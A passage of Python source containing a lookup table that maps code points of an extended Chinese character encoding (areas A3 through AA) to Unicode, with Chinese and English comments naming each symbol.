0x24B6, # 字母阳圈码A = Ⓐ 0xA357: 0x24B7, # 字母阳圈码B = Ⓑ 0xA358: 0x24B8, # 字母阳圈码C = Ⓒ 0xA359: 0x24B9, # 字母阳圈码D = Ⓓ 0xA35A: 0x24BA, # 字母阳圈码E = Ⓔ 0xA35B: 0x24BB, # 字母阳圈码F = Ⓕ 0xA35C: 0x24BC, # 字母阳圈码G = Ⓖ 0xA35D: 0x24BD, # 字母阳圈码H = Ⓗ 0xA35E: 0x24BE, # 字母阳圈码I = Ⓘ 0xA35F: 0x24BF, # 字母阳圈码J = Ⓙ 0xA360: 0x1F110, # 圆括号码A = 🄐 0xA361: 0x1F111, # 圆括号码B = 🄑 0xA362: 0x1F112, # 圆括号码C = 🄒 0xA363: 0x1F113, # 圆括号码D = 🄓 0xA364: 0x1F114, # 圆括号码E = 🄔 0xA365: 0x1F115, # 圆括号码F = 🄕 0xA366: 0x1F116, # 圆括号码G = 🄖 0xA367: 0x1F117, # 圆括号码H = 🄗 0xA368: 0x1F118, # 圆括号码I = 🄘 0xA369: 0x1F119, # 圆括号码J = 🄙 0xA36A: 0x24D0, # 阳圈码a = ⓐ 0xA36B: 0x24D1, # 阳圈码b = ⓑ 0xA36C: 0x24D2, # 阳圈码c = ⓒ 0xA36D: 0x24D3, # 阳圈码d = ⓓ 0xA36E: 0x24D4, # 阳圈码e = ⓔ 0xA36F: 0x24D5, # 阳圈码f = ⓕ 0xA370: 0x24D6, # 阳圈码g = ⓖ 0xA371: 0x24D7, # 阳圈码h = ⓗ 0xA372: 0x24D8, # 阳圈码i = ⓘ 0xA373: 0x24D9, # 阳圈码j = ⓙ 0xA374: 0x249C, # 圆括号码a = ⒜ 0xA375: 0x249D, # 圆括号码b = ⒝ 0xA376: 0x249E, # 圆括号码c = ⒞ 0xA377: 0x249F, # 圆括号码d = ⒟ 0xA378: 0x24A0, # 圆括号码e = ⒠ 0xA379: 0x24A1, # 圆括号码f = ⒡ 0xA37A: 0x24A2, # 圆括号码g = ⒢ 0xA37B: 0x24A3, # 圆括号码h = ⒣ 0xA37C: 0x24A4, # 圆括号码i = ⒤ 0xA37D: 0x24A5, # 圆括号码j = ⒥ 0xA37E: 0x3396, # 单位符号:毫升 = ㎖ 0xA380: 0x3397, # ㎗ 0xA381: 0x33CB, # 单位符号:百帕 = ㏋ 0xA382: 0x3398, # 单位符号:立升 = ㎘ 0xA383: 0x33A0, # 单位符号:平方厘米 = ㎠ 0xA384: 0x33A4, # 单位符号:立方厘米 = ㎤ 0xA385: 0x33A5, # 单位符号:立方米 = ㎥ 0xA386: 0x33A2, # 单位符号:平方公里 = ㎢ 0xA387: 0x33BE, # 单位符号:千瓦 = ㎾ 0xA388: 0x33C4, # ㏄ 0xA389: 0x3383, # 单位符号:毫安 = ㎃ 0xA38A: 0x33C2, # ㏂ 0xA38B: 0x33D8, # ㏘ 0xA38C: 0x33CD, # ㏍ 0xA38D: 0x33D7, # ㏗ 0xA38E: 0x33DA, # ㏚ 0xA38F: 0x339C, # ㎜ 0xA390: 0x339D, # ㎝ 0xA391: 0x339E, # ㎞ 0xA392: 0x33CE, # 单位符号:公里 = ㏎ 0xA393: 0x338E, # 单位符号:毫克 = ㎎ 0xA394: 0x338F, # 单位符号:千克(公斤) = ㎏ 0xA395: 0x33A1, # 单位符号:平方米 = ㎡ 0xA396: 0x33D2, # ㏒ 0xA397: 0x33D1, # ㏑ 0xA398: 0x33C4, # ㏄ 0xA399: 0x33D5, # ㏕ 0xA39A: 0xAB36, # ꬶ 0xA39B: 0x2113, # ℓ 0xA39C: 0x006D, # m 0xA39D: 0x0078, # x 0xA39E: 0x1EFF, # ỿ 0xA39F: 0x0028, # 左开圆括号 = ( 0xA3A0: 0x0029, # 右闭圆括号 = ) }) # Area A4 _update({ 0xA440: 0xA440, # BD语言注解:四分空(◯ + ¼) 0xA441: 0xA441, # BD语言注解:二分空(◯ + ½) 0xA442: 0xA442, # BD语言注解:六分空(◯ + ⅙) 0xA443: 0xA443, # BD语言注解:八分空(◯ + ⅙) 0xA444: 0xA444, # (◇ + ◼ + ⬦) 0xA445: 0xA445, # (◇ + ◻) 0xA446: 0xA446, # (☐ + ◆ + ◻) 0xA447: 0xA447, # (⏹ + ⬦) 0xA448: 0x29C8, # ⧈ 0xA449: 0x1F79C, # 🞜 0xA44A: 0xA44A, # (◆ + ◻) 0xA44B: 0xA44B, # (◇ + ◼) 0xA44C: 0xA44C, # (☐ + ◆) 0xA44D: 0x26CB, # ⛋ 0xA44E: 0x2756, # ❖ 0xA44F: 0xA44F, # (negative ❖) 0xA450: 0xA450, # (5-black-square cross, like ⸭) 0xA451: 0xA451, # (5-white-square cross, like ⌘) 0xA452: 0x2795, # ➕ 0xA453: 0x271A, # ✚ 0xA454: 0x23FA, # ⏺ 0xA455: 0x2704, # ✄ 0xA456: 0x25C9, # ◉ 0xA457: 0x2A00, # ⨀ 0xA458: 0x2740, # ❀ 0xA459: 0x273F, # ✿ 0xA45A: 0x2668, # ♨ 0xA45B: 0x2669, # ♩ 0xA45C: 0x266A, # ♪ 0xA45D: 0x266C, # ♬ 0xA45E: 0x2B57, # ⭗ 0xA45F: 0x26BE, # ⚾ 0xA460: 0x260E, # ☎ 0xA461: 0x2025, # ‥ 0xA462: 0x261C, # ☜ 0xA463: 0x261E, # ☞ 0xA464: 0x3021, # 杭州记数标记“一” = 〡 0xA465: 0x3022, # 杭州记数标记“二” = 〢 0xA466: 0x3023, # 杭州记数标记“三” = 〣 0xA467: 0x3024, # 杭州记数标记“四” = 〤 0xA468: 0x3025, # 杭州记数标记“五” = 〥 0xA469: 0x3026, # 杭州记数标记“六” = 〦 0xA46A: 0x3027, # 杭州记数标记“七” = 〧 0xA46B: 0x3028, # 杭州记数标记“八” = 〨 0xA46C: 0x3029, # 杭州记数标记“九” = 〩 0xA46D: 0x3038, # 杭州记数标记“十” = 〸 0xA46E: 0x3039, # 杭州记数标记“廿” = 〹 0xA46F: 0x303A, # 杭州记数标记“卅” = 〺 0xA470: 0x25A2, # ▢ 0xA471: 0x00AE, # ® 0xA472: 0x25CF, # ● 0xA473: 0x25CB, # ○ 0xA474: 0x25CB, # ♡ 0xA475: 0x25CA, # ◊ 0xA476: 0xA476, # (▽ + ▿) 0xA477: 0x2236, # ∶ 0xA478: 0xA478, # 毫米(m/m) 0xA479: 0xA479, # 厘米(c/m) 0xA47A: 0xA47A, # 分米(d/m) 0xA47B: 0x2105, # ℅ 0xA47D: 0xA47D, # (circled ™) 0xA47E: 0x2122, # ™ 0xA480: 0xAB65, # ꭥ 0xA481: 0x026E, # ɮ 0xA482: 0x02A7, # ʧ 0xA483: 0x01EB, # ǫ 0xA484: 0x03C5, # υ 0xA485: 0xA7AC, # Ɡ 0xA486: 0x1D93, # ᶓ 0xA487: 0x1D74, # ᵴ 0xA488: 0x1D92, # ᶒ 0xA489: 0x1D95, # ᶕ 0xA48A: 0x02AE, # ʮ 0xA48B: 0x1D8B, # ᶋ 0xA48C: 0x0119, # ę 0xA48D: 0x01BE, # ƾ 0xA48E: 0x1D97, # ᶗ 0xA48F: 0x0293, # ʓ 0xA490: 0xA490, # (hɥ) 0xA491: 0x0253, # ɓ 0xA492: 0x0287, # ʇ 0xA493: 0x01AB, # ƫ 0xA494: 0x028D, # ʍ 0xA495: 0x1D8D, # ᶍ 0xA496: 0x0269, # ɩ 0xA497: 0x025C, # ɜ 0xA498: 0x02A5, # ʥ 0xA499: 0x019E, # ƞ 0xA49A: 0x01AA, # ƪ 0xA49B: 0x0250, # ɐ 0xA49C: 0x0286, # ʆ 0xA49D: 0x01BB, # ƻ 0xA49E: 0x00D8, # Ø 0xA4F4: 0xA4F4, # 三叹号(!!!) 0xA4F5: 0xA4F5, # 斜三叹号(italic !!!) 0xA4F6: 0x32A3, # 带圈汉字:正 = ㊣ 0xA4F7: 0x329E, # 带圈汉字:印 = ㊞ 0xA4F8: 0x32A4, # 带圈汉字:上 = ㊤ 0xA4F9: 0x32A5, # 带圈汉字:中 = ㊥ 0xA4FA: 0x32A6, # 带圈汉字:下 = ㊦ 0xA4FB: 0x32A7, # 带圈汉字:左 = ㊧ 0xA4FC: 0x32A8, # 带圈汉字:右 = ㊨ 0xA4FD: 0xA4FD, # 带圈汉字:大(◯ + 大) 0xA4FE: 0xA4FE, # 带圈汉字:小(◯ + 小) }) # Area A5 _update({ 0xA540: 0x0111, # đ 0xA541: 0x1D80, # ᶀ 0xA542: 0x1D81, # ᶁ 0xA543: 0x0252, # ɒ 0xA544: 0xA544, # (ŋ + ʷ) 0xA545: 0x026B, # ɫ 0xA546: 0x1D88, # ᶈ 0xA547: 0x1D82, # ᶂ 0xA548: 0x02A6, # ʦ 0xA549: 0x025F, # ɟ 0xA54A: 0x00FE, # þ 0xA54B: 0x0257, # ɗ 0xA54C: 0xAB67, # ꭧ 0xA54D: 0x0260, # ɠ 0xA54E: 0x0242, # ɂ 0xA54F: 0x02AF, # ʯ 0xA550: 0xA550, # (ʯ) 0xA551: 0x0241, # Ɂ 0xA552: 0x025A, # ɚ 0xA553: 0x1D8A, # ᶊ 0xA554: 0x0296, # ʖ 0xA555: 0x1D8C, # ᶌ 0xA556: 0x1D75, # ᵵ 0xA557: 0x1D6D, # ᵭ 0xA558: 0x027D, # ɽ 0xA559: 0x027A, # ɺ 0xA55A: 0x01BA, # ƺ 0xA55B: 0xA55B, # (turned ɰ) 0xA55C: 0x0273, # ɳ 0xA55D: 0xA795, # ꞕ 0xA55E: 0x01B0, # ư 0xA55F: 0x1D85, # ᶅ 0xA560: 0x0260, # ɠ 0xA561: 0x1D86, # ᶆ 0xA562: 0x0277, # ɷ 0xA563: 0x02A4, # ʤ 0xA564: 0x02A3, # ʣ 0xA565: 0x1D87, # ᶇ 0xA566: 0x1D7C, # ᵼ 0xA567: 0x02A8, # ʨ 0xA568: 0x1D8F, # ᶏ 0xA569: 0x029A, # ʚ 0xA56A: 0x1D9A, # ᶚ 0xA56B: 0xA727, # ꜧ 0xA56C: 0x1D83, # ᶃ 0xA56D: 0xA56D, # (italic ŋ) 0xA56E: 0x029E, # ʞ 0xA56F: 0x0195, # ƕ 0xA570: 0x1D76, # ᵶ 0xA571: 0x027E, # ɾ 0xA572: 0x1D8E, # ᶎ 0xA573: 0x1D89, # ᶉ 0xA574: 0x027C, # ɼ 0xA575: 0x0279, # ɹ 0xA576: 0x018D, # ƍ 0xA577: 0x03C9, # ω 0xA578: 0x025D, # ɝ 0xA579: 0x03C3, # σ 0xA57A: 0x027B, # ɻ 0xA57B: 0x026D, # ɭ 0xA57C: 0x0267, # ɧ 0xA57D: 0x025A, # ɚ 0xA57E: 0xAB66, # ꭦ 0xA580: 0x5F02, # 异 0xA581: 0x28473, # 𨑳 0xA582: 0x5194, # 冔 0xA583: 0x247A3, # 𤞣 0xA584: 0x2896D, # 𨥭 0xA585: 0x5642, # 噂 0xA586: 0x7479, # 瑹 0xA587: 0x243B9, # 𤎹 0xA588: 0x723F, # 爿 0xA589: 0x9D56, # 鵖 0xA58A: 0x4D29, # 䴩 0xA58B: 0x20779, # 𠝹 0xA58C: 0x210F1, # 𡃱 0xA58D: 0x2504C, # 𥁌 0xA58E: 0x233CC, # 𣏌 0xA58F: 0x032F, # 下加符 = ̯ 0xA590: 0x0312, # 下加符 = ̒ 0xA591: 0x030D, # 下加符 = ̍ 0xA592: 0x0314, # 下加符 = ̔ 0xA593: 0x0313, # 下加符 = ̓ 0xA594: 0x2F83B, # 吆 0xA595: 0x25EC0, # 𥻀 0xA596: 0x445B, # 䑛 0xA597: 0x21D3E, # 𡴾 0xA598: 0x0323, # 下加符 = ̣ 0xA599: 0x0325, # 下加符 = ̥ 0xA59A: 0x0331, # 下加符 = ̱ 0xA59B: 0x032A, # 下加符 = ̪ 0xA59C: 0x032C, # 下加符 = ̬ 0xA59D: 0x032B, # 下加符 = ̫ 0xA59E: 0x0329, # 下加符 = ̩ 0xA59F: 0xFF5B, # 左开花括号 = { 0xA5A0: 0xFF5D, # 右闭花括号 = } 0xA5F7: 0x3016, # 左空方圆括号 = 〖 0xA5F8: 0x3017, # 右空方圆括号 = 〗 0xA5F9: 0x29DB, # ⧛ 0xA5FA: 0xA5FA, # (vertical ⧛) 0xA5FB: 0x534D, # 卍 0xA5FC: 0xFE47, # 竖排上方括号 = ﹇ 0xA5FD: 0xFE48, # 竖排下方括号 = ﹈ 0xA5FE: 0x2571, # 斜线 = ╱ }) # Area A6 _update({ 0xA640: 0x00C5, # 多国外文 = Å 0xA641: 0x0100, # 多国外文 = Ā 0xA642: 0x00C1, # 多国外文 = Á 0xA643: 0x01CD, # 多国外文 = Ǎ 0xA644: 0x00C0, # 多国外文 = À 0xA645: 0x00C2, # 多国外文 =  0xA646: 0x00C4, # 多国外文 = Ä 0xA647: 0x00C3, # 多国外文 = à 0xA648: 0x0112, # 多国外文 = Ē 0xA649: 0x00C9, # 多国外文 = É 0xA64A: 0x011A, # 多国外文 = Ě 0xA64B: 0x00C8, # 多国外文 = È 0xA64C: 0x00CA, # 多国外文 = Ê 0xA64D: 0x00CB, # 多国外文 = Ë 0xA64E: 0x1EBC, # 多国外文 = Ẽ 0xA64F: 0x012A, # 多国外文 = Ī 0xA650: 0x00CD, # 多国外文 = Í 0xA651: 0x01CF, # 多国外文 = Ǐ 0xA652: 0x00CC, # 多国外文 = Ì 0xA653: 0x00CE, # 多国外文 = Î 0xA654: 0x00CF, # 多国外文 = Ï 0xA655: 0x014C, # 多国外文 = Ō 0xA656: 0x00D3, # 多国外文 = Ó 0xA657: 0x01D1, # 多国外文 = Ǒ 0xA658: 0x00D2, # 多国外文 = Ò 0xA659: 0x00D4, # 多国外文 = Ô 0xA65A: 0x00D6, # 多国外文 = Ö 0xA65B: 0x00D5, # 多国外文 = Õ 0xA65C: 0x016A, # 多国外文 = Ū 0xA65D: 0x00DA, # 多国外文 = Ú 0xA65E: 0x01D3, # 多国外文 = Ǔ 0xA65F: 0x00D9, # 多国外文 = Ù 0xA660: 0x00DB, # 多国外文 = Û 0xA661: 0x00DC, # 多国外文 = Ü 0xA662: 0x01D5, # 多国外文 = Ǖ 0xA663: 0x01D7, # 多国外文 = Ǘ 0xA664: 0x01D9, # 多国外文 = Ǚ 0xA665: 0x01DB, # 多国外文 = Ǜ 0xA666: 0xA666, # 多国外文(Ü̂) 0xA667: 0x0108, # 多国外文 = Ĉ 0xA668: 0x011C, # 多国外文 = Ĝ 0xA669: 0x0124, # 多国外文 = Ĥ 0xA66A: 0x0134, # 多国外文 = Ĵ 0xA66B: 0x0160, # 多国外文 = Š 0xA66C: 0x015C, # 多国外文 = Ŝ 0xA66D: 0x0178, # 多国外文 = Ÿ 0xA66E: 0x017D, # 多国外文 = Ž 0xA66F: 0x1E90, # 多国外文 = Ẑ 0xA670: 0x0125, # 多国外文 = ĥ 0xA671: 0x0135, # 多国外文 = ĵ 0xA672: 0x00D1, # 多国外文 = Ñ 0xA673: 0x00E1, # á 0xA674: 0x00E9, # é 0xA675: 0x00ED, # í 0xA676: 0x00F3, # ó 0xA677: 0x00FA, # ú 0xA678: 0x2339D, # 𣎝 0xA679: 0x29F15, # 𩼕 0xA67A: 0x23293, # 𣊓 0xA67B: 0x3CA0, # 㲠 0xA67C: 0x2F922, # 牐 0xA67D: 0x24271, # 𤉱 0xA67E: 0x2720F, # 𧈏 0xA680: 0x00C1, # Á 0xA681: 0x0403, # Ѓ 0xA682: 0x00C9, # É 0xA683: 0x040C, # Ќ 0xA684: 0x00D3, # Ó 0xA685: 0x00FD, # ý 0xA686: 0xA686, # (Ы́) 0xA687: 0xA687, # (Э́) 0xA688: 0x04EC, # Ӭ 0xA689: 0xA689, # (Ю́) 0xA68A: 0xA68A, # (Я́) 0xA68B: 0xA68B, # (ѣ́) 0xA68C: 0xA68C, # (Ѣ́) 0xA68D: 0xA68D, # (И́) 0xA68E: 0x27E1B, # 𧸛 0xA68F: 0x910B, # 鄋 0xA690: 0x29F14, # 𩼔 0xA691: 0x2A0DF, # 𪃟 0xA692: 0x20270, # 𠉰 0xA693: 0x203F1, # 𠏱 0xA694: 0x211AB, # 𡆫 0xA695: 0x211E5, # 𡇥 0xA696: 0x21290, # 𡊐 0xA697: 0x363E, # 㘾 0xA698: 0x212DF, # 𡋟 0xA699: 0x57D7, # 埗 0xA69A: 0x2165F, # 𡙟 0xA69B: 0x248C2, # 𤣂 0xA69C: 0x22288, # 𢊈 0xA69D: 0x23C62, # 𣱢 0xA69E: 0x24276, # 𤉶 0xA69F: 0xFF1A, # 冒号 = : 0xA6A0: 0xFF1B, # 分号 = ; 0xA6B9: 0x2202, # 小写希腊字母 = ∂ 0xA6BA: 0x03F5, # 小写希腊字母 = ϵ 0xA6BB: 0x03D1, # 小写希腊字母 = ϑ 0xA6BC: 0x03D5, # 小写希腊字母 = ϕ 0xA6BD: 0x03C6, # 小写希腊字母 = φ 0xA6BE: 0x03F0, # 小写希腊字母 = ϰ 0xA6BF: 0x03F1, # 小写希腊字母 = ϱ 0xA6C0: 0x03C2, # 小写希腊字母 = ς 0xA6D9: 0xFE10, # 竖排逗号 = ︐ 0xA6DA: 0xFE12, # 竖排句号 = ︒ 0xA6DB: 0xFE11, # 竖排顿号 = ︑ 0xA6DC: 0xFE13, # 竖排冒号 = ︓ 0xA6DD: 0xFE14, # 竖排分号 = ︔ 0xA6DE: 0xFE15, # 竖排感叹号 = ︕ 0xA6DF: 0xFE16, # 竖排问号 = ︖ 0xA6EC: 0xFE17, # 竖排上空方圆括号 = ︗ 0xA6ED: 0xFE18, # 竖排下空方圆括号 = ︘ 0xA6F3: 0xFE19, # 竖排三点省略号 = ︙ 0xA6F6: 0x00B7, # 居中间隔点 = · 0xA6F7: 0xA6F7, # 居中逗号(middle ,) 0xA6F8: 0xA6F8, # 居中句号(middle 。) 0xA6F9: 0xA6F9, # 居中顿号(middle 、) 0xA6FA: 0xA6FA, # 居中冒号(middle :) 0xA6FB: 0xA6FB, # 居中分号(middle ;) 0xA6FC: 0xA6FC, # 居中感叹号(middle !) 0xA6FD: 0xA6FD, # 居中问号(middle ?) 0xA6FE: 0xA6FE # ( ͘) }) # Area A7 _update({ 0xA740: 0x24235, # 𤈵 0xA741: 0x2431A, # 𤌚 0xA742: 0x2489B, # 𤢛 0xA743: 0x4B63, # 䭣 0xA744: 0x25581, # 𥖁 0xA745: 0x25BB0, # 𥮰 0xA746: 0x7C06, # 簆 0xA747: 0x23388, # 𣎈 0xA748: 0x26A40, # 𦩀 0xA749: 0x26F16, # 𦼖 0xA74A: 0x2717F, # 𧅿 0xA74B: 0x22A98, # 𢪘 0xA74C: 0x3005, # 々 0xA74D: 0x22F7E, # 𢽾 0xA74E: 0x27BAA, # 𧮪 0xA74F: 0x20242, # 𠉂 0xA750: 0x23C5D, # 𣱝 0xA751: 0x22650, # 𢙐 0xA752: 0x247EF, # 𤟯 0xA753: 0x26221, # 𦈡 0xA754: 0x29A02, # 𩨂 0xA755: 0x45EA, # 䗪 0xA756: 0x26B4C, # 𦭌 0xA757: 0x26D9F, # 𦶟 0xA758: 0x26ED8, # 𦻘 0xA759: 0x359E, # 㖞 0xA75A: 0x20E01, # 𠸁 0xA75B: 0x20F90, # 𠾐 0xA75C: 0x3A18, # 㨘 0xA75D: 0x241A2, # 𤆢 0xA75E: 0x3B74, # 㭴 0xA75F: 0x43F2, # 䏲 0xA760: 0x40DA, # 䃚 0xA761: 0x3FA6, # 㾦 0xA762: 0x24ECA, # 𤻊 0xA763: 0x28C3E, # 𨰾 0xA764: 0x28C47, # 𨱇 0xA765: 0x28C4D, # 𨱍 0xA766: 0x28C4F, # 𨱏 0xA767: 0x28C4E, # 𨱎 0xA768: 0x28C54, # 𨱔 0xA769: 0x28C53, # 𨱓 0xA76A: 0x25128, # 𥄨 0xA76B: 0x251A7, # 𥆧 0xA76C: 0x45AC, # 䖬 0xA76D: 0x26A2D, # 𦨭 0xA76E: 0x41F2, # 䇲 0xA76F: 0x26393, # 𦎓 0xA770: 0x29F7C, # 𩽼 0xA771: 0x29F7E, # 𩽾 0xA772: 0x29F83, # 𩾃 0xA773: 0x29F87, # 𩾇 0xA774: 0x29F8C, # 𩾌 0xA775: 0x27785, # 𧞅 0xA776: 0x2775E, # 𧝞 0xA777: 0x28EE7, # 𨻧 0xA778: 0x290AF, # 𩂯 0xA779: 0x2070E, # 𠜎 0xA77A: 0x22AC1, # 𢫁 0xA77B: 0x20CED, # 𠳭 0xA77C: 0x3598, # 㖘 0xA77D: 0x220C7, # 𢃇 0xA77E: 0x22B43, # 𢭃 0xA780: 0x4367, # 䍧 0xA781: 0x20CD3, # 𠳓 0xA782: 0x20CAC, # 𠲬 0xA783: 0x36E2, # 㛢 0xA784: 0x35CE, # 㗎 0xA785: 0x3B39, # 㬹 0xA786: 0x44EA, # 䓪 0xA787: 0x20E96, # 𠺖 0xA788: 0x20E4C, # 𠹌 0xA789: 0x35ED, # 㗭 0xA78A: 0x20EF9, # 𠻹 0xA78B: 0x24319, # 𤌙 0xA78C: 0x267CC, # 𦟌 0xA78D: 0x28056, # 𨁖 0xA78E: 0x28840, # 𨡀 0xA78F: 0x20F90, # 𠾐 0xA790: 0x21014, # 𡀔 0xA791: 0x236DC, # 𣛜 0xA792: 0x28A17, # 𨨗 0xA793: 0x28879, # 𨡹 0xA794: 0x4C9E, # 䲞 0xA795: 0x20410, # 𠐐 0xA796: 0x40DF, # 䃟 0xA797: 0x210BF, # 𡂿 0xA798: 0x22E0B, # 𢸋 0xA799: 0x4312, # 䌒 0xA79A: 0x233AB, # 𣎫 0xA79B: 0x2812E, # 𨄮 0xA79C: 0x4A31, # 䨱 0xA79D: 0x27B48, # 𧭈 0xA79E: 0x29EAC, # 𩺬 0xA79F: 0x23822, # 𣠢 0xA7A0: 0x244CB, # 𤓋 0xA7C2: 0x0409, # 大写俄文字母LJE = Љ 0xA7C3: 0x040A, # 大写俄文字母NJE = Њ 0xA7C4: 0x040F, # 大写俄文字母DZHE = Џ 0xA7C5: 0x04AE, # 大写俄文字母 = Ү 0xA7C6: 0x0402, # 俄文字母 = Ђ 0xA7C7: 0x040B, # 俄文字母 = Ћ 0xA7C8: 0x0474, # 俄文字母 = Ѵ 0xA7C9: 0x0462, # 俄文字母 = Ѣ 0xA7CA: 0x0463, # 俄文字母 = ѣ 0xA7CB: 0x04E8, # 俄文字母 = Ө 0xA7CC: 0x0459, # 俄文字母 = љ 0xA7CD: 0x045A, # 俄文字母 = њ 0xA7CE: 0x045F, # 俄文字母 = џ 0xA7CF: 0x04AF, # 俄文字母 = ү 0xA7F2: 0x00E1, # 俄文字母 = á 0xA7F3: 0x00E9, # 俄文字母 = é 0xA7F4: 0xA7F4, # 俄文字母(и́) 0xA7F5: 0x00F3, # 俄文字母 = ó 0xA7F6: 0x00FD, # 俄文字母 = ý 0xA7F7: 0xA7F7, # 俄文字母(ы́) 0xA7F8: 0xA7F8, # 俄文字母(э́) 0xA7F9: 0xA7F9, # 俄文字母(ю́) 0xA7FA: 0xA7FA, # 俄文字母(я́) 0xA7FB: 0x0452, # 俄文字母 = ђ 0xA7FC: 0x045B, # 俄文字母 = ћ 0xA7FD: 0x0475, # 俄文字母 = ѵ 0xA7FE: 0x04E9 # 俄文字母 = ө }) # Area A8 _update({ 0xA8BC: 0x1E3F, # 汉语拼音(ḿ) = ḿ 0xA8C1: 0xA8C1, # 中文阴圈码十(⏺ + 十) 0xA8C2: 0xA8C2, # 中文阴圈码廿(⏺ + 廿) 0xA8C3: 0xA8C3, # 中文阴圈码卅(⏺ + 卅) 0xA8C4: 0x4E00, # 注音符号— = 一 0xA8EA: 0xA8EA, # 中文阴框码一(⏹ + 一) 0xA8EB: 0xA8EB, # 中文阴框码二(⏹ + 二) 0xA8EC: 0xA8EC, # 中文阴框码三(⏹ + 三) 0xA8ED: 0xA8ED, # 中文阴框码四(⏹ + 四) 0xA8EE: 0xA8EE, # 中文阴框码五(⏹ + 五) 0xA8EF: 0xA8EF, # 中文阴框码六(⏹ + 六) 0xA8F0: 0xA8F0, # 中文阴框码七(⏹ + 七) 0xA8F1: 0xA8F1, # 中文阴框码八(⏹ + 八) 0xA8F2: 0xA8F2, # 中文阴框码九(⏹ + 九) 0xA8F3: 0xA8F3, # 中文阴框码十(⏹ + 十) 0xA8F4: 0xA8F4, # 中文阴框码廿(⏹ + 廿) 0xA8F5: 0xA8F5, # 中文阴框码卅(⏹ + 卅) 0xA8F6: 0xA8F6, # 中文阴圈码一(⏺ + 一) 0xA8F7: 0xA8F7, # 中文阴圈码二(⏺ + 二) 0xA8F8: 0xA8F8, # 中文阴圈码三(⏺ + 三) 0xA8F9: 0xA8F9, # 中文阴圈码四(⏺ + 四) 0xA8FA: 0xA8FA, # 中文阴圈码五(⏺ + 五) 0xA8FB: 0xA8FB, # 中文阴圈码六(⏺ + 六) 0xA8FC: 0xA8FC, # 中文阴圈码七(⏺ + 七) 0xA8FD: 0xA8FD, # 中文阴圈码八(⏺ + 八) 0xA8FE: 0xA8FE # 中文阴圈码九(⏺ + 九) }) # Area A9 _update({ 0xA9A1: 0xA9A1, # (╪) 0xA9A2: 0xA9A2, # (╡) 0xA9F0: 0x21E8, # 空心向右箭头 = ⇨ 0xA9F1: 0x21E6, # 空心向左箭头 = ⇦ 0xA9F2: 0x2B06, # 实心向上箭头 = ⬆ 0xA9F3: 0x2B07, # 实心向下箭头 = ⬇ 0xA9F4: 0x27A1, # 实心向右箭头 = ➡ 0xA9F5: 0x2B05, # 实心向左箭头 = ⬅ 0xA9F6: 0x2B62, # 箭头-无翅向右 = ⭢ 0xA9F7: 0x2B60, # 箭头-无翅向左 = ⭠ 0xA9F8: 0x2B61, # 箭头-无翅向左 = ⭡ 0xA9F9: 0x2B63, # 箭头-无翅向左 = ⭣ 0xA9FA: 0x21C1, # 箭头-下单翅向右 = ⇁ 0xA9FB: 0x21BD, # 箭头-下单翅向左 = ↽ 0xA9FC: 0xA9FC, # 箭头-双向向内(ꜜ͎) 0xA9FD: 0x2195, # 箭头-双向向外 = ↕ 0xA9FE: 0x2B65, # 箭头-无翅双向向外 = ⭥ }) # Area AA _update({ 0xAAA1: 0xAAA1, # BD语言注解:盘外符开弧(⸨) 0xAAA2: 0xAAA2, # BD语言注解:盘外符标记()→) 0xAAA3: 0xAAA3, # BD语言注解:盘外符闭弧(⸩) 0xAAA4: 0xAAA4, # BD语言注解:换行符(⇙) 0xAAA5: 0xAAA5, # BD语言注解:换段符(↙) 0xAAA6: 0xAAA6, # BD语言注解:小样文件结束(Ω) 0xAAA7: 0xAAA7, # BD语言注解:数学态标记(◯ + ﹩) 0xAAA8: 0xAAA8, # BD语言注解:自定义参数(◯ + ﹠) 0xAAA9: 0xAAA9, # BD语言注解:盒子开弧(⦃) 0xAAAA: 0xAAAA, # BD语言注解:盒子闭弧(⦄) 0xAAAB: 0xAAAB, # BD语言注解:转字体标记(ⓩ) 0xAAAC: 0xAAAC, # BD语言注解:上标(⤊) 0xAAAD: 0xAAAD, # BD语言注解:下标(⤋) 0xAAB0: 0x002C, # 千分撇 = , 0xAAB1: 0x002E, # 小数点 = . 0xAAB2: 0x2010, # 半字线 = ‒ 0xAAB3: 0x002A, # 六角星号、呼应号 = * 0xAAB4: 0x0021, # 阶乘 = ! 0xAAB5: 0x2202, # 偏导数 = ∂ 0xAAB6: 0x2211, # 和 = ∑ 0xAAB7: 0x220F, # 积 = ∏ 0xAAB8: 0x2AEE, # 非因子号 = ⫮ 0xAAB9: 0x2031, # 万分号 = ‱ 0xAABA: 0x227B, # 前继 = ≻ 0xAABB: 0x227A, # 后继 = ≺ 0xAABC: 0x2282, # 包含于 = ⊂ 0xAABD: 0x2283, # 包含 = ⊃ 0xAABE: 0x225C, # Delta等于 = ≜ 0xAABF: 0x00AC, # 否定 = ¬ 0xAAC0: 0x22CD, # ⋍ 0xAAC1: 0x2286, # 包含于 = ⊆ 0xAAC2: 0x2287, # 包含 = ⊇ 0xAAC3: 0x225C, # ≜ 0xAAC4: 0x2243, # 近似符号 = ⋍ 0xAAC5: 0x2265, # 大于等于 = ≥ 0xAAC6: 0x2264, # 小于等于 = ≤ 0xAAC7: 0x2214, # 穆勒连分符号、集合合 = ∔ 0xAAC8: 0x2238, # 算术差 = ∸ 0xAAC9: 0x2A30, # 直积号 = ⨰ 0xAACA: 0x2271, # 不大于等于 = ≱ 0xAACB: 0x2270, # 不小于等于 = ≰ 0xAACC: 0x2AB0, # ⪰ 0xAACD: 0x2AAF, # ⪯ 0xAACE: 0x5350, # 卐 0xAACF: 0x212A, # 绝对温度单位 = K 0xAAD0: 0x2200, # 全称量词 = ∀ 0xAAD1: 0x21D1, # ⇑ 0xAAD2: 0x21E7, # ⇧ 0xAAD3: 0x21BE, # ↾ 0xAAD4: 0x21D3, # ⇓ 0xAAD5: 0x21E9, # ⇩ 0xAAD6: 0x21C3, # ⇃ 0xAAD7: 0x2935, # ⤵ 0xAAD8: 0x21E5, # ⇥ 0xAAD9: 0x22F0, # 对角三连点 = ⋰ 0xAADA: 0x21D4, # 等价 = ⇔ 0xAADB: 0x21C6, # ⇆ 0xAADC: 0x2194, # ↔ 0xAADD: 0x21D2, # 推断 = ⇒ 0xAADE: 0x21E8, # ⇨ 0xAADF: 0x21C0, # ⇀ 0xAAE0: 0x27F6, # ⟶ 0xAAE1: 0x21D0, # ⇐ 0xAAE2: 0x21E6, # ⇦ 0xAAE3: 0x21BC, # ↼ 0xAAE4: 0x27F5, # ⟵ 0xAAE5: 0x2196, # ↖️ 0xAAE6: 0x2199, # ↙️ 0xAAE7: 0x2198, # ↘️ 0xAAE8: 0x2197, # ↗️ 0xAAE9: 0x22D5, # 平行等于 = ⋕ 